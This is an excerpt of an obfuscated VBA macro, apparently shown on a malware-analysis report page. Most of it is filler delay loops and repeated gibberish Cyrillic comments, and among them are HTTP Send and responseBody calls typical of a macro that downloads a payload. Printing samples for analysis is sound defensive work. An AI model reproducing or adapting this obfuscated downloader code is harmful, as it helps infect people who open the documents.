'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: EzJFiQEw = EzJFiQEw + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи UhXsCliE = " CXNQHE " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim vEnElWTo As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For vEnElWTo = 0 To 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ixBuEeCr As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ixBuEeCr = 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ixBuEeCr < 67 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ixBuEeCr = ixBuEeCr + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next vEnElWTo 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim OgdeUpwt As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи OgdeUpwt = 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While OgdeUpwt < 15 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: OgdeUpwt = OgdeUpwt + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи EjyckcTR = LTrim(UhXsCliE) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim dViBzymv As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For dViBzymv = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim NlGJrDtW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи NlGJrDtW = 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While NlGJrDtW < 84 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: NlGJrDtW = NlGJrDtW + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next dViBzymv 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim fGCgeQml As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи fGCgeQml = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While fGCgeQml < 18 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: fGCgeQml = fGCgeQml + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи vjjPSAeT = RTrim(EjyckcTR) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim BRXWUkUW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For BRXWUkUW = 0 To 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim lrojFpfW As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи lrojFpfW = 8 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While lrojFpfW < 45 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: lrojFpfW = lrojFpfW + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next BRXWUkUW 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim dXjSVfui As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи dXjSVfui = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While dXjSVfui < 34 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: dXjSVfui = dXjSVfui + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи TJOBKMBJGJF.Send "dfg" 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim gKFEtQbS, ioTgXKFh, DrdPodYi As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim RCgxeBuh As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For RCgxeBuh = 0 To 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim nmtGEyZV As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи nmtGEyZV = 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While nmtGEyZV < 34 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: nmtGEyZV = nmtGEyZV + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next RCgxeBuh 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim lfdqDowq As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи lfdqDowq = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While lfdqDowq < 23 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: lfdqDowq = lfdqDowq + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи gKFEtQbS = " XDPGVR " 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim HARdEQzi As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For HARdEQzi = 0 To 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim ljVjElBB As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ljVjElBB = 7 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While ljVjElBB < 76 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: ljVjElBB = ljVjElBB + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next HARdEQzi 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim qoySDxKq As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи qoySDxKq = 6 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While qoySDxKq < 64 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: qoySDxKq = qoySDxKq + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи ioTgXKFh = LTrim(gKFEtQbS) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim euMzrvCa As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For euMzrvCa = 0 To 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim GPHMAcKi As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи GPHMAcKi = 2 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While GPHMAcKi < 82 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: GPHMAcKi = GPHMAcKi + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next euMzrvCa 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim BEKGJctT As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи BEKGJctT = 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While BEKGJctT < 11 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: BEKGJctT = BEKGJctT + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DrdPodYi = RTrim(ioTgXKFh) 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim nkbYtVSQ As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For nkbYtVSQ = 0 To 9 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim MrRFftkh As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи MrRFftkh = 3 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While MrRFftkh < 72 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: MrRFftkh = MrRFftkh + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next nkbYtVSQ 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim rVYOEyRD As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи rVYOEyRD = 5 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While rVYOEyRD < 89 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: rVYOEyRD = rVYOEyRD + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи UKUUBTBDTYD = TJOBKMBJGJF.responseBody 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim eElCwXlN, klvnnUTI, YpRtYlJj As String 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim qilymXhP As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи For qilymXhP = 0 To 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim BnyYlQZb As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи BnyYlQZb = 4 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Do While BnyYlQZb < 47 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents: BnyYlQZb = BnyYlQZb + 1 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Loop 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи DoEvents 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Next qilymXhP 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи Dim hEXwxjnf As Integer 'МРМн8ш8п 3п89гша МГШП а3щш4ре-034ш0рп МншлуавпрмшП?ЕП(ГЩмолвпуцпцум умлои сМОЛи hEXwxjnf = 7 …

Open this report in the interactive analyzer, or submit your own file for analysis.